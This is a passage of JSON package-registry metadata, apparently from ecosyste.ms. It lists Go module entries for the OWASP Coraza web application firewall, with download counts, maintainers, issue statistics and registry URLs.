3.0.1"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMnBqLXYzN3ItMnA2aM4AA0El/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/corazawaf/coraza/v3","docker_dependents_count":10,"docker_downloads_count":13495736,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/corazawaf/coraza/v3","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/corazawaf/coraza/v3/dependencies","status":null,"funding_links":["https://owasp.org/donate/?reponame=www-project-coraza-web-application-firewall\u0026title=OWASP+Coraza+Web+Application+Firewall","https://github.com/sponsors/OWASP"],"critical":null,"issue_metadata":{"last_synced_at":"2026-09-22T12:16:10.963Z","issues_count":185,"pull_requests_count":718,"avg_time_to_close_issue":5137980.572815534,"avg_time_to_close_pull_request":1188886.9137931035,"issues_closed_count":103,"pull_requests_closed_count":580,"pull_request_authors_count":57,"issue_authors_count":73,"avg_comments_per_issue":2.5945945945945947,"avg_comments_per_pull_request":1.5167130919220055,"merged_pull_requests_count":487,"bot_issues_count":10,"bot_pull_requests_count":303,"past_year_issues_count":27,"past_year_pull_requests_count":45,"past_year_avg_time_to_close_issue":1422673.6666666667,"past_year_avg_time_to_close_pull_request":794859.52,"past_year_issues_closed_count":15,"past_year_pull_requests_closed_count":25,"past_year_pull_request_authors_count":18,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":0.9259259259259259,"past_year_avg_comments_per_pull_request":3.311111111111111,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":6,"past_year_merged_pull_requests_count":24,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/issues","maintainers":[{"login":"M4tteoP","count":97,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/M4tteoP"},{"login":"jptosso","count":79,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jptosso"},{"login":"jcchavezs","count":72,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jcchavezs"},{"login":"fzipi","count":62,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fzipi"},{"login":"maliming","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/maliming"}],"active_maintainers":[{"login":"fzipi","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fzipi"},{"login":"M4tteoP","count":12,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/M4tteoP"},{"login":"jptosso","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jptosso"},{"login":"jcchavezs","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jcchavezs"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza%2Fv3/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza%2Fv3/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza%2Fv3/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza%2Fv3/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza%2Fv3/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza%2Fv3/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2540781,"maintainers_count":0,"namespaces_count":853380,"keywords_count":141351,"github":"golang","metadata":{"funded_packages_count":116144,"sync_missing_packages_cursor":{"timestamp":"2026-09-29T00:04:57.155362Z","path":"github.com/virtengine/virtengine/sdk/specs","version":"v0.0.0-20260928231908-c0c887541540"},"rate_limit":5},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-10-16T05:07:04.246Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":14662833,"name":"github.com/Corazawaf/coraza/v3","ecosystem":"go","description":null,"homepage":null,"licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/Corazawaf/coraza","keywords_array":[],"namespace":null,"versions_count":19,"first_release_published_at":"2023-03-17T07:41:44.000Z","latest_release_published_at":"2026-04-06T03:18:39.000Z","latest_release_number":"v3.7.0","last_synced_at":"2026-08-10T12:47:55.465Z","created_at":"2026-06-21T14:45:48.262Z","updated_at":"2026-08-10T12:47:55.466Z","registry_url":"https://pkg.go.dev/github.com/Corazawaf/coraza/v3","install_command":"go get github.com/Corazawaf/coraza/v3","documentation_url":"https://pkg.go.dev/github.com/Corazawaf/coraza/v3#section-documentation","metadata":{},"repo_metadata":{},"repo_metadata_updated_at":"2026-06-21T16:09:42.148Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":4.961521983674049,"dependent_packages_count":4.6491615939223285,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":4.805341788798189},"purl":"pkg:golang/github.com/Corazawaf/coraza/v3","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/Corazawaf/coraza/v3","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/Corazawaf/coraza/v3","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/Corazawaf/coraza/v3/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FCorazawaf%2Fcoraza%2Fv3/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FCorazawaf%2Fcoraza%2Fv3/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FCorazawaf%2Fcoraza%2Fv3/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FCorazawaf%2Fcoraza%2Fv3/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FCorazawaf%2Fcoraza%2Fv3/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FCorazawaf%2Fcoraza%2Fv3/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2540781,"maintainers_count":0,"namespaces_count":853380,"keywords_count":141351,"github":"golang","metadata":{"funded_packages_count":116144,"sync_missing_packages_cursor":{"timestamp":"2026-09-29T00:04:57.155362Z","path":"github.com/virtengine/virtengine/sdk/specs","version":"v0.0.0-20260928231908-c0c887541540"},"rate_limit":5},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-10-16T05:07:04.246Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":14662830,"name":"github.com/CorazaWaf/coraza/v3","ecosystem":"go","description":null,"homepage":null,"licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/CorazaWaf/coraza","keywords_array":[],"namespace":null,"versions_count":19,"first_release_published_at":"2023-03-17T07:41:44.000Z","latest_release_published_at":"2026-04-06T03:18:39.000Z","latest_release_number":"v3.7.0","last_synced_at":"2026-07-22T04:16:22.022Z","created_at":"2026-06-21T14:45:48.084Z","updated_at":"2026-07-22T04:16:22.022Z","registry_url":"https://pkg.go.dev/github.com/CorazaWaf/coraza/v3","install_command":"go get github.com/CorazaWaf/coraza/v3","documentation_url":"https://pkg.go.dev/github.com/CorazaWaf/coraza/v3#section-documentation","metadata":{},"repo_metadata":{},"repo_metadata_updated_at":"2026-06-21T16:09:41.926Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":4.961521983674049,"dependent_packages_count":4.6491615939223285,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":4.805341788798189},"purl":"pkg:golang/github.com/CorazaWaf/coraza/v3","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/CorazaWaf/coraza/v3","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/CorazaWaf/coraza/v3","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/CorazaWaf/coraza/v3/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FCorazaWaf%2Fcoraza%2Fv3/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FCorazaWaf%2Fcoraza%2Fv3/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FCorazaWaf%2Fcoraza%2Fv3/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FCorazaWaf%2Fcoraza%2Fv3/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FCorazaWaf%2Fcoraza%2Fv3/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FCorazaWaf%2Fcoraza%2Fv3/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2540781,"maintainers_count":0,"namespaces_count":853380,"keywords_count":141351,"github":"golang","metadata":{"funded_packages_count":116144,"sync_missing_packages_cursor":{"timestamp":"2026-09-29T00:04:57.155362Z","path":"github.com/virtengine/virtengine/sdk/specs","version":"v0.0.0-20260928231908-c0c887541540"},"rate_limit":5},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-10-16T05:07:04.246Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}}]